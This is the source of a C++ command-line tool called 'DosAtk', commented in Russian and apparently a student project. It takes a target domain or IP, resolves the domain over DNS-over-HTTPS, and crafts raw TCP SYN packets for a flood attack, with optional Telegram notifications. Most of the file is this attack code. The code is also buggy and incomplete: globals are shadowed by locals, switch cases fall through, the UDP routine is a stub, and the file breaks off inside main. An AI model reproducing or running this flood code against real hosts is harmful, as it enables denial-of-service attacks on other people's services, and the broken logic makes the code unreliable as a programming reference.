@ -0,0 +1,802 @@
/*
█ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ ╗ █ █ ╗ █ █ ╗ █ █ █ █ █ █ ╗
█ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ ═ ╝ █ █ ║ █ █ ║ █ █ ║ █ █ ╔ ═ ═ █ █ ╗
█ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ █ █ █ █ ╔ ╝
█ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ╔ ═ ═ █ █ ╗
█ █ █ █ █ █ ╔ ╝ ╚ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ █ █ ║ █ █ █ █ █ █ ╔ ╝
╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ╚ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝
*/
# include <cstring> // Работа с о строками и памятью (memset, memcpy)
# include <unistd.h> // POSIX API (close, read, write)
# include <sys/socket.h> // Сокеты (socket, setsockopt, sendto)
# include <netinet/ip.h> // Структура IP-заголовка (struct iphdr)
# include <netinet/tcp.h> // Структура TCP-заголовка (struct tcphdr)
# include <arpa/inet.h> // Преобразование IP-адресов (inet_addr, inet_pton)
# include <net/if.h> // Определение констант сетевых интерфейсов (IFNAMSIZ)
# include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
# include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
# include <string> // Строки
# include <chrono> // Для работы с временем
# include <getopt.h> // Для struct option и getopt_long()
# include <curl/curl.h> // Основной заголовок libcurl
# include <iostream> // стандартный input output
# include <iomanip>
# include <nlohmann/json.hpp>
/*
█ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ ╗ █ █ ╗ █ █ ╗ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗
█ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ ═ ╝ █ █ ║ █ █ ║ █ █ ║ █ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ ═ ╝
█ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ █ █ █ █ █ ║ █ █ █ █ █ █ ╔ ╝ █ █ █ █ █ █ █ ╗
█ █ ║ █ █ ║ █ █ ║ █ █ ║ ╚ █ █ ╗ █ █ ╔ ╝ █ █ ╔ ═ ═ █ █ ║ █ █ ╔ ═ ═ █ █ ╗ ╚ ═ ═ ═ ═ █ █ ║
█ █ █ █ █ █ ╔ ╝ ╚ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ ╚ █ █ █ █ ╔ ╝ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ █ █ █ █ █ ║
╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ╝ ╚ ═ ╝ ╚ ═ ╝ ╚ ═ ╝ ╚ ═ ╝ ╚ ═ ═ ═ ═ ═ ═
*/
int argc ; // Количество аргументов при вызове программы
char * * argv ; // Массив строк с агрументами
std : : string attack_type ; // Тип атаки: scan или syn
std : : string domain ; // Доменное Имя
std : : string ip ; // Ip жертвы
std : : string port ; // Порт для syn атаки
std : : string log_file ; // Путь к директории для логов
std : : string telegram_id ; // Telegram ID для уведомлений
std : : string telegram_token ; // Токен бота для уведомлений
int n_ok_requests ; // Количество успешных запросов
int n_fail_requests ; // Количество не успешных запросов
std : : chrono : : system_clock : : time_point start_timestamp ; // Начальное время работы
std : : string log_msg ; // Сообщение, которое будет записано в лог-файл
std : : string fin_msg ; // Сообщение, которое будет выведено в консоль пользователю
std : : string msg ; // Сообщение, которое будет отправлено в телеграм
int status ; // Статус работы программы
// int log_status;
/*
█ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ ╗ █ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ █ █ █ █ █ █ ╗ █ █ ╗ █ █ ╗ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗
█ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ ═ ╝ █ █ ║ █ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ ═ ╝ █ █ ╔ ═ ═ ═ ═ ╝ █ █ ╔ ═ ═ █ █ ╗ █ █ ║ █ █ ║ █ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ═ ═ ╝ █ █ ╔ ═ ═ ═ ═ ╝
█ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ █ █ █ █ ╔ ╝ █ █ █ █ █ █ ╔ ╝ █ █ ║ █ █ ║ █ █ ║ █ █ █ █ █ ╗ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ █ █ █ █ ╔ ╝ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗
█ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ╔ ═ ═ ═ ╝ █ █ ╔ ═ ═ █ █ ╗ █ █ ║ █ █ ║ █ █ ║ █ █ ╔ ═ ═ ╝ █ █ ║ █ █ ║ █ █ ║ █ █ ║ █ █ ╔ ═ ═ █ █ ╗ █ █ ╔ ═ ═ ╝ ╚ ═ ═ ═ ═ █ █ ║
█ █ █ █ █ █ ╔ ╝ ╚ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ █ █ ║ █ █ ║ █ █ ║ ╚ █ █ █ █ █ █ ╔ ╝ ╚ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ╗ █ █ █ █ █ █ ╔ ╝ ╚ █ █ █ █ █ █ ╔ ╝ █ █ ║ █ █ ║ █ █ █ █ █ █ █ ╗ █ █ █ █ █ █ █ ║
╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ╚ ═ ╝ ╚ ═ ╝ ╚ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ╝ ╚ ═ ╝ ╚ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝ ╚ ═ ═ ═ ═ ═ ═ ╝
*/
int my_check_params ( )
{
// Данная процедура записывает в глобальные переменные параметры
// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
// Н а вход получает int argc, char **argv, возвращает код выполнения
// Коды возврата:
// 2 - Атака флуд, все нужные опции есть
// 1 - Атака порт скан, все нужные опции есть
// 0 - нужна помощь
// -1 - пользователь не ввел тип атаки или ввел неверный тип атаки
// -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры
// -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры
// -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи
// -600 - пользователь ввел токен, но не id или наоборот
//Объявление
std : : chrono : : milliseconds ms ; // Количество миллисекунд от целой секунды времени начала выполнения программы
std : : time_t now_time_t ; // текущее время
int opt ; // Прочитанный параметр
const char * short_options ; // Сокращения для параметров
struct option long_options [ 10 ] ; // Структура, описывающая пеобходимые программе параметры
int i ; // Счётчик для цикла
// Инициализация
ms = std : : chrono : : duration_cast < std : : chrono : : milliseconds > ( start_timestamp . time_since_epoch ( ) ) % 1000 ;
opt = - 1 ;
short_options = " a:d:i:p:l:t:b:h " ;
long_options [ 0 ] = { " attack " , required_argument , NULL , ' a ' } ;
long_options [ 1 ] = { " domain " , required_argument , NULL , ' d ' } ;
long_options [ 2 ] = { " ip " , required_argument , NULL , ' i ' } ;
long_options [ 3 ] = { " port " , required_argument , NULL , ' p ' } ;
long_options [ 4 ] = { " log " , required_argument , NULL , ' l ' } ;
long_options [ 5 ] = { " telegram " , required_argument , NULL , ' t ' } ;
long_options [ 6 ] = { " token " , required_argument , NULL , ' b ' } ;
long_options [ 7 ] = { " help " , no_argument , NULL , ' h ' } ;
long_options [ 8 ] = { NULL , 0 , NULL , 0 } ;
i = 0 ;
printf ( " begin my_check_params " ) ; // debug
now_time_t = std : : time ( nullptr ) ;
// Выводим информацию о времени запуска программы
printf ( " Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld \n " , // Шаблон для вывода
std : : localtime ( & now_time_t ) - > tm_year + 1900 , // Год (с 1900)
std : : localtime ( & now_time_t ) - > tm_mon + 1 , // Месяц (0-11)
std : : localtime ( & now_time_t ) - > tm_mday , // День месяца
std : : localtime ( & now_time_t ) - > tm_hour , // Часы
std : : localtime ( & now_time_t ) - > tm_min , // Минуты
std : : localtime ( & now_time_t ) - > tm_sec , // Секунды
ms . count ( ) ) ; // Миллисекунды
// Обрабатываем аргументы командной строки с помощью getopt_long
// Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций)
while ( ( opt = getopt_long ( argc , argv , short_options , long_options , NULL ) ) ! = - 1 ) {
switch ( opt ) {
case ' a ' : // Обработка опции -a (--attack)
attack_type = optarg ; // Сохраняем тип атаки (scan/flood)
break ;
case ' d ' : // Обработка опции -d (--domain)
domain = optarg ; // Сохраняем доменное имя цели
break ;
case ' i ' : // Обработка опции -i (--ip)
ip = optarg ; // Сохраняем IP-адрес цели
break ;
case ' p ' : // Обработка опции -p (--port)
port = optarg ; // Сохраняем номер порта
break ;
case ' l ' : // Обработка опции -l (--log)
log_file = optarg ; // Сохраняем путь к лог-файлу
break ;
case ' t ' : // Обработка опции -t (--telegram)
telegram_id = optarg ; // Сохраняем Telegram ID
break ;
case ' b ' : // Обработка опции -b (--token)
telegram_token = optarg ; // Сохраняем токен бота Telegram
break ;
case ' h ' : // Обработка опции -h (--help)
return 0 ; // Устанавливаем статус "показать справку"
break ;
case ' ? ' : // Обработка неизвестной опции
return - 101 ; // Устанавливаем статус "неизвестная опция"
break ;
}
}
if ( status ! = 0 & & status ! = - 101 ) // Проверяем корректность введенных параметров
{
if ( attack_type ! = " flood " & & attack_type ! = " scan " ) { // Проверяем валидность типа атаки
return - 1 ; // Некорректный тип атаки
}
else if ( attack_type = = " scan " & & domain . empty ( ) & & ip . empty ( ) ) { // Для port scanning нужен домен или IP
return - 10 ; // Н е указана цель для сканирования
}
else if ( attack_type = = " flood " & & domain . empty ( ) & & ip . empty ( ) ) { // Для флуд-атаки нужен домен или IP
return - 20 ; // Н е указана цель для флуда
}
else if ( ( ! telegram_id . empty ( ) & & telegram_token . empty ( ) ) | | // Если указан telegram token то нужен и id
( telegram_id . empty ( ) & & ! telegram_token . empty ( ) ) ) { // Если указан telegram id то нужен и token
return - 600 ; // Неполные данные для Telegram
}
else if ( attack_type = = " scan " ) { // Если все проверки пройдены и тип атаки - сканирование
return 1 ; // Валидные параметры для сканирования
}
else if ( attack_type = = " flood " ) { // Если все проверки пройдены и тип атаки - флуд
return 2 ; // Валидные параметры для флуда
}
}
printf ( " end my_check_params status: %i \n " , status ) ; // debug
return - 101 ;
}
void my_diag ( )
{
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
// формирует сообщение с описанием произошедшей ошибки
printf ( " begin my_diag, status: %i \n " , status ) ; // debug
switch ( status ) // Выбор сообщения в зависимости от кода ошибки
{
case 0 : // Специальный случай - вывод справки по использованию
printf ( " Usage: ./DosAtk [options] \n "
" Required: \n "
" -a, --attack TYPE Type of attack (scan|flood) \n "
" -d, --domain DOMAIN Target domain \n "
" -i, --ip IP Target IP \n "
" -p, --port PORT Port. Required only for flood type! \n "
" Optional: \n "
" -l, --log FILE Log file \n "
" -t, --telegram ID Telegram ID \n "
" -b, --token TOKEN Telegram bot token \n " ) ;
break ;
case - 1 : // Некорректный тип атаки
printf ( " Error: Invalid attack type! \n --help for more info \n " ) ;
break ;
case - 10 : // Отсутствуют обязательные параметры для сканирования портов
printf ( " Error: Missing required parameters for port scanning! \n --help for more info \n " ) ;
break ;
case - 20 : // Отсутствуют обязательные параметры для SYN flood атаки
printf ( " Error: Missing required parameters for tcp syn dos attack! \n --help for more info \n " ) ;
break ;
case - 101 : // Встречена неизвестная опция командной строки
printf ( " Error: Unknown option! \n .--help for info \n " ) ;
break ;
case - 600 : // Неполные данные для Telegram-уведомлений
printf ( " Error: To use telegram integration both telegram_id and telegram_token have to be provided! \n .--help for info \n " ) ;
break ;
}
printf ( " end my_diag \n " ) ; // debug
}
// Функция для экранирования специальных символов в строке перед использованием в JSON
// Принимает: const std::string& s - исходная строка для обработки
// Возвращает: std::string - строка с экранированными спецсимволами
std : : string escape_json ( const std : : string & s )
{
// Возвращаем строку с экранированными символами
// ===== Объявления =====
std : : string result ; // Результирующая строка с экранированными символами
char c ; // Символ в строке
// ===== Инициализация =====
result = " " ;
c = ' \0 ' ; // пустой символ
// Проходим по каждому символу входной строки
for ( char c : s ) {
// Обрабатываем специальные символы JSON
switch ( c ) {
case ' " ' : result + = " \\ \" " ; break ; // Экранирование двойных кавычек
case ' \\ ' : result + = " \\ \\ " ; break ; // Экранирование обратного слеша
case ' \b ' : result + = " \\ b " ; break ; // Экранирование backspace
case ' \f ' : result + = " \\ f " ; break ; // Экранирование formfeed
case ' \n ' : result + = " \\ n " ; break ; // Экранирование новой строки
case ' \r ' : result + = " \\ r " ; break ; // Экранирование возврата каретки
case ' \t ' : result + = " \\ t " ; break ; // Экранирование табуляции
default : result + = c ; break ; // В с е остальные символы добавляем как есть
}
}
return result ; // Возвращаем обработанную строку
}
bool is_numeric ( const std : : string & s )
{
// Проверка, является ли строка числом (включая отрицательные)
// ===== Объявления =====
size_t start ; // Индекс, с которого начинать проверку цифр
size_t i ;
// ===== Инициализация =====
start = 0 ;
i = 0 ;
if ( s . empty ( ) ) return false ; // Пустая строка не может быть числом
// Проверяем наличие знака минус в начале
if ( s [ 0 ] = = ' - ' ) {
// Строка из одного минуса не является числом
if ( s . size ( ) = = 1 ) return false ;
// Если минус есть, начинаем проверку с следующего символа
start = 1 ;
}
// Проверяем все оставшиеся символы на цифры
for ( i = start ; i < s . size ( ) ; + + i ) {
// Найден нецифровой символ - строка не число
if ( ! isdigit ( s [ i ] ) ) return false ;
}
// В с е проверки пройдены - строка является числом
return true ;
}
void my_msg ( )
{
printf ( " begin my_msg " ) ; // debug
// Объявление
struct curl_slist * headers ; // Заголовки HTTP-запроса
CURL * curl ; // Указатель на CURL-объект
std : : string escaped_msg ; // Экранированное сообщение для JSON
std : : string chat_id_field ; // Поле chat_id для JSON
std : : string json_data ; // Итоговый JSON для отправки
long http_code ; // HTTP-код ответа
CURLcode res ; // Код результата CURL-операции
// Инициализация
headers = curl_slist_append ( nullptr , " Content-Type: application/json " ) ; // Установка заголовка Content-Type
curl = curl_easy_init ( ) ; // Инициализация CURL
escaped_msg = escape_json ( msg ) ; // Экранирование спецсимволов в сообщении для JSON
chat_id_field = is_numeric ( telegram_id ) ? " \" chat_id \" : " + telegram_id : " \" chat_id \" : \" " + telegram_id + " \" " ;
json_data = " { " + chat_id_field + " , \" text \" : \" " + escaped_msg + " \" } " ; // Сборка JSON-запроса
http_code = 0 ;
res = CURLE_OK ;
// Проверка наличия обязательных параметров Telegram
if ( telegram_token . empty ( ) | | telegram_id . empty ( ) )
{
status = 0 ; // Интеграция с Telegram не настроена (отсутствует токен или ID)
}
if ( ! curl )
{
status = 6 ; // Ошибка инициализации CURL
}
// Настройка параметров CURL-запроса
curl_easy_setopt ( curl , CURLOPT_URL , ( " https://api.telegram.org/bot " + telegram_token + " /sendMessage " ) . c_str ( ) ) ; // URL API Telegram
curl_easy_setopt ( curl , CURLOPT_POST , 1L ) ; // Использовать POST-метод
curl_easy_setopt ( curl , CURLOPT_POSTFIELDS , json_data . c_str ( ) ) ; // Тело запроса (JSON)
curl_easy_setopt ( curl , CURLOPT_HTTPHEADER , headers ) ; // Заголовки запроса
curl_easy_setopt ( curl , CURLOPT_USERAGENT , " libcurl/7.68.0 " ) ; // User-Agent
// Игнорирование вывода ответа (пустая функция обратного вызова)
curl_easy_setopt (
curl , CURLOPT_WRITEFUNCTION ,
[ ] ( void * , size_t size , size_t nmemb , void * ) - > size_t {
return size * nmemb ;
}
) ;
// Выполнение HTTP-запроса
res = curl_easy_perform ( curl ) ;
// Получение HTTP-кода ответа
curl_easy_getinfo ( curl , CURLINFO_RESPONSE_CODE , & http_code ) ;
// Освобождение ресурсов
curl_slist_free_all ( headers ) ; // Очистка заголовков
curl_easy_cleanup ( curl ) ; // Завершение работы CURL
// Обработка ошибок CURL
if ( res ! = CURLE_OK )
{
status = 5 ; // Ошибка выполнения запроса
}
// Обработка HTTP-кодов ответа
switch ( http_code )
{
case 200 :
status = 0 ; // Успешный запрос
case 401 :
status = 1 ; // Ошибка авторизации (неверный токен)
case 400 :
status = 2 ; // Неверный запрос
case 404 :
status = 3 ; // Р е с у р с не найден
case 500 :
status = 4 ; // Ошибка сервера
}
printf ( " end my_msg " ) ; // debug
}
int my_log ( )
{
// Данная функция записывает в файл лога сообщение
printf ( " start my_log " ) ; // debug
printf ( " end my_log " ) ; // debug
return 0 ;
}
void my_fin ( )
{
// Данная процедура завершает программу и рассчитывает итоговое время выполнения программы
// Объявления
time_t end_time_t ; // Время завершения выполненя программы
std : : chrono : : milliseconds duration ; // Длительность выполнения программы
std : : chrono : : hours hours ; // Компонента часов времени завершения
std : : chrono : : minutes minutes ; // Компонента минут времени завершения
std : : chrono : : seconds seconds ; // Компонента секунд времени завершения
std : : chrono : : milliseconds milliseconds ; // Компонента миллисекунд времени завершения
// Иницаализация
end_time_t = std : : chrono : : system_clock : : to_time_t ( std : : chrono : : system_clock : : now ( ) ) ;
duration = std : : chrono : : duration_cast < std : : chrono : : milliseconds > ( std : : chrono : : system_clock : : now ( ) - start_timestamp ) ; // Вычисляем продолжительность работы программы
hours = std : : chrono : : duration_cast < std : : chrono : : hours > ( duration ) ; // Разбиваем продолжительность на компоненты
minutes = std : : chrono : : duration_cast < std : : chrono : : minutes > ( duration % std : : chrono : : hours ( 1 ) ) ; // Разбиваем продолжительность на компоненты
seconds = std : : chrono : : duration_cast < std : : chrono : : seconds > ( duration % std : : chrono : : minutes ( 1 ) ) ; // Разбиваем продолжительность на компоненты
milliseconds = std : : chrono : : duration_cast < std : : chrono : : milliseconds > ( duration % std : : chrono : : seconds ( 1 ) ) ; // Разбиваем продолжительность на компоненты
double total_seconds ;
printf ( " begin my_diag \n " ) ; // debug
std : : cout < < " Worked for " ; // Выводим информацию о времени работы
// Для коротких периодов (<2 минут) выводим в секундах с дробной частью
if ( duration < std : : chrono : : minutes ( 2 ) )
{
total_seconds = std : : chrono : : duration < double > ( duration ) . count ( ) ;
std : : cout < < std : : fixed < < std : : setprecision ( 3 ) < < total_seconds < < " seconds " ;
}
else
{
// Для длительных периодов выводим в формате ЧЧ:М М :С С .мс
if ( hours . count ( ) > 0 ) // Если программа работала хотя бы один час
{
std : : cout < < hours . count ( ) < < " h " ; // Выводим часы
}
if ( minutes . count ( ) > 0 ) // Если программа работала хотя бы одину минуту
{
std : : cout < < minutes . count ( ) < < " m " ; // Вывовим минуты
}
std : : cout < < seconds . count ( ) < < " s " < < milliseconds . count ( ) < < " ms " ; // Выводим секунды и миллисекунды
}
std : : cout < < std : : endl ; // После осуществления вывода переходим на новую строку
// Выводим статистику по запросам
std : : cout < < " Sent " < < ( n_ok_requests + n_fail_requests ) < < " requests ( "
< < n_ok_requests < < " ok, " < < n_fail_requests < < " failed) " < < std : : endl ;
// Выводим точное время завершения работы
std : : cout < < " DosAtk stopped at " < < std : : put_time ( std : : localtime ( & end_time_t ) , " %Y-%m-%d %H:%M:%S " )
< < " . " < < std : : setfill ( ' 0 ' ) < < std : : setw ( 3 ) < < milliseconds . count ( ) < < std : : endl ;
// Завершаем программу с кодом состояния
std : : exit ( status ) ;
}
int my_tcp_syn ( ) {
/*
* О т п р а в л я е т TCP SYN з а п р о с н а у к а з а н н ы й IP и п о р т
* status :
* 0 - з а п р о с у с п е ш н о о т п р а в л е н ( а т а к а п р о д о л ж а е т с я )
* 2 - д о с т и г н у т о м а к с и м а л ь н о е к о л и ч е с т в о з а п р о с о в ( 1000 )
* - 201 - о ш и б к а с о з д а н и я raw - с о к е т а
* - 202 - о ш и б к а о т п р а в к и SYN - п а к е т а
*/
printf ( " start my_tcp_syn " ) ; // debug
// === Объявление локальных переменных ===
int sock ; // Основной raw-сокет для отправки пакетов
int one ; // Флаг для setsockopt
// Структуры для адресов
struct sockaddr_in target_addr ; // Адрес цели
// Параметры подключения
uint16_t target_port ; // Порт цели (в сетевом порядке байт)
// Структуры заголовков
struct iphdr ip_header ; // IP-заголовок пакета
struct tcphdr tcp_header ; // TCP-заголовок пакета
// Псевдозаголовок для контрольной суммы
struct {
uint32_t saddr ;
uint32_t daddr ;
uint8_t zero ;
uint8_t protocol ;
uint16_t tcp_len ;
} pseudo_header ;
// Буферы данных
char temp_buf [ sizeof ( pseudo_header ) + sizeof ( tcphdr ) ] ; // Буфер для контрольной суммы
char packet [ sizeof ( iphdr ) + sizeof ( tcphdr ) ] ; // Итоговый пакет
// Переменные для встроенного расчета контрольной суммы
uint16_t * checksum_ptr ;
unsigned long checksum_sum ;
uint8_t * checksum_byte_ptr ;
int checksum_len ;
// === Инициализация переменных ===
sock = - 1 ;
one = 1 ;
memset ( & target_addr , 0 , sizeof ( target_addr ) ) ;
target_port = htons ( atoi ( port . c_str ( ) ) ) ;
memset ( & ip_header , 0 , sizeof ( ip_header ) ) ;
memset ( & tcp_header , 0 , sizeof ( tcp_header ) ) ;
memset ( & pseudo_header , 0 , sizeof ( pseudo_header ) ) ;
memset ( temp_buf , 0 , sizeof ( temp_buf ) ) ;
memset ( packet , 0 , sizeof ( packet ) ) ;
checksum_ptr = 0 ;
checksum_sum = 0 ;
checksum_len = 0 ;
// === Основная логика процедуры ===
// 1. Создание raw-сокета
if ( ( sock = socket ( AF_INET , SOCK_RAW , IPPROTO_TCP ) ) < 0 ) {
return - 201 ;
}
// 2. Установка опции IP_HDRINCL
setsockopt ( sock , IPPROTO_IP , IP_HDRINCL , & one , sizeof ( one ) ) ;
// 3. Настройка адреса цели
memset ( & target_addr , 0 , sizeof ( target_addr ) ) ;
target_addr . sin_family = AF_INET ;
if ( inet_pton ( AF_INET , ip . c_str ( ) , & target_addr . sin_addr ) < = 0 ) {
close ( sock ) ;
return - 202 ;
}
// 4. Формирование IP заголовка
memset ( & ip_header , 0 , sizeof ( ip_header ) ) ;
ip_header . ihl = 5 ;
ip_header . version = 4 ;
ip_header . tot_len = htons ( sizeof ( iphdr ) + sizeof ( tcphdr ) ) ;
ip_header . ttl = 64 ;
ip_header . protocol = IPPROTO_TCP ;
ip_header . saddr = inet_addr ( " 127.0.0.1 " ) ;
ip_header . daddr = inet_addr ( ip . c_str ( ) ) ;
// 5. Формирование TCP заголовка
memset ( & tcp_header , 0 , sizeof ( tcphdr ) ) ;
tcp_header . source = htons ( 12345 ) ;
tcp_header . dest = target_port ;
tcp_header . seq = htonl ( 123456 ) ;
tcp_header . doff = 5 ;
tcp_header . syn = 1 ;
tcp_header . window = htons ( 5840 ) ;
// 6. Расчет контрольной суммы
pseudo_header = {
. saddr = ip_header . saddr ,
. daddr = ip_header . daddr ,
. zero = 0 ,
. protocol = IPPROTO_TCP ,
. tcp_len = htons ( sizeof ( tcphdr ) )
} ;
memcpy ( temp_buf , & pseudo_header , sizeof ( pseudo_header ) ) ;
memcpy ( temp_buf + sizeof ( pseudo_header ) , & tcp_header , sizeof ( tcphdr ) ) ;
// Встроенный расчет контрольной суммы
checksum_ptr = ( uint16_t * ) temp_buf ;
checksum_len = sizeof ( temp_buf ) ;
while ( checksum_len > 1 ) {
checksum_sum + = * checksum_ptr + + ;
checksum_len - = 2 ;
}
if ( checksum_len = = 1 ) {
checksum_byte_ptr = ( uint8_t * ) checksum_ptr ;
checksum_sum + = * checksum_byte_ptr ;
}
checksum_sum = ( checksum_sum > > 16 ) + ( checksum_sum & 0xFFFF ) ;
tcp_header . check = ( unsigned short ) ( ~ checksum_sum ) ;
// 7. Сборка пакета
memcpy ( packet , & ip_header , sizeof ( iphdr ) ) ;
memcpy ( packet + sizeof ( iphdr ) , & tcp_header , sizeof ( tcphdr ) ) ;
// 8. Отправка пакета
if ( sendto ( sock , packet , sizeof ( packet ) , 0 ,
( struct sockaddr * ) & target_addr , sizeof ( target_addr ) ) < 0 ) {
n_fail_requests + + ;
return - 202 ;
} else {
n_ok_requests + + ;
}
// 9. Проверка завершения
if ( ( n_ok_requests + n_fail_requests ) > = 1000 ) {
return 2 ;
}
close ( sock ) ;
printf ( " end my_tcp_syn " ) ; // debug
return 0 ;
}
int my_udp ( ) {
return 0 ;
}
// Callback для записи ответа от сервера
size_t WriteCallback ( void * contents , size_t size , size_t nmemb , std : : string * output ) {
size_t total_size = size * nmemb ;
output - > append ( ( char * ) contents , total_size ) ;
return total_size ;
}
int my_dns ( )
{
// Данная процедура сопостовляет доменное имя с IP
// Обрабатываем перменнкю domain, записываем в ip
// -4001 - ошибка инициализации CURL
// -4002 - ошибка запроса CURL
// -4003 - ошибка парсинга JSON
CURL * curl ; // объект curl
CURLcode res ; // результат выполнения запроса
std : : string response ; // ответ DNS сервера
std : : string url ; // API DNS сервера
struct curl_slist * headers ; // Заголовки
nlohmann : : json json_data ; // Ответ от dns сервера
int status ; // Состояние работы процедуры
status = 0 ;
curl = 0 ;
res = { } ;
response = " " ;
url = " " ;
headers = { 0 } ;
json_data = { 0 } ;
printf ( " start my_dns " ) ; // debug
// Инициализируем curl
curl = curl_easy_init ( ) ;
if ( ! curl ) {
status = - 4001 ;
}
else {
// Формируем URL для Cloudflare DoH
url = " https://1.1.1.1/dns-query?name= " + domain + " &type=A " ;
// Настройки CURL
curl_easy_setopt ( curl , CURLOPT_URL , url . c_str ( ) ) ;
curl_easy_setopt ( curl , CURLOPT_WRITEFUNCTION , WriteCallback ) ;
curl_easy_setopt ( curl , CURLOPT_WRITEDATA , & response ) ;
curl_easy_setopt ( curl , CURLOPT_HTTP_VERSION , CURL_HTTP_VERSION_2_0 ) ; // HTTP/2
curl_easy_setopt ( curl , CURLOPT_SSL_VERIFYPEER , 1L ) ; // Проверка SSL
// Устанавливаем заголовок
headers = curl_slist_append ( headers , " accept: application/dns-json " ) ;
curl_easy_setopt ( curl , CURLOPT_HTTPHEADER , headers ) ;
// Выполняем запрос
res = curl_easy_perform ( curl ) ;
if ( res ! = CURLE_OK ) {
status = - 4002 ;
} else {
// Парсим JSON и извлекаем IP
try {
json_data = nlohmann : : json : : parse ( response ) ;
if ( json_data . contains ( " Answer " ) ) {
for ( const nlohmann : : json & record : json_data [ " Answer " ] ) {
if ( record [ " type " ] = = 1 ) { // A-запись (IPv4) (Это же и проверка валидного IP)
ip = record [ " data " ] . get < std : : string > ( ) ;
break ;
}
}
}
} catch ( const std : : exception & e ) {
status = - 4003 ;
}
}
}
// Освобождаем ресурсы
curl_slist_free_all ( headers ) ;
curl_easy_cleanup ( curl ) ;
if ( ! status ) {
status = 1 ;
}
printf ( " end my_dns " ) ; // debug
return status ;
}
/*
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
*/
int main ( int arg_ctr , char * * arg_ptr )
{
// Инициализация глобальных переменных
int argc = arg_ctr ;
char * * argv = arg_ptr ;
std : : string attack_type = " " ;
std : : string domain = " " ;
std : : string ip = " " ;
std : : string port = " " ;
std : : string log_file = " /var/log/DosAtk " ;
std : : string telegram_id = " " ;
std : : string telegram_token = " " ;
int n_ok_requests = 0 ;
int n_fail_requests = 0 ;
std : : chrono : : system_clock : : time_point start_timestamp = std : : chrono : : system_clock : : now ( ) ;
std : : string log_msg = " " ;
std : : string fin_msg = " " ;
std : : string msg ;
int status = 0 ;
status = my_check_params ( ) ; // Проверяем параметры командной строки
switch ( status ) // Обрабатываем результат проверки параметров
{
case 1 : // Режим сканирования портов (UDP)
status = my_dns ( ) ; // Пытаемся разрешить DNS (если указано доменное имя)
if ( status = = 0 ) // Если DNS разрешен успешно
{
while ( true ) // Запускаем цикл UDP-атаки
{
status = my_udp ( ) ;
if ( status = = 2 ) // Код завершения атаки
{
break ;
}
else if ( status < 0 ) // Обработка ошибок
{
my_diag ( ) ; // Выводим диагностику
status = my_log ( ) ; // Пытаемся записать в лог
if ( status = = 1 ) // Если записать лог не удалось
{
my_msg ( ) ; // Отправляем сообщение
}
}
}
// Завершающие действия после атаки
my_log ( ) ; // Логируем завершение
my_msg ( ) ; // Отправляем финальное сообщение
my_fin ( ) ; // Корректно завершаем программу
}
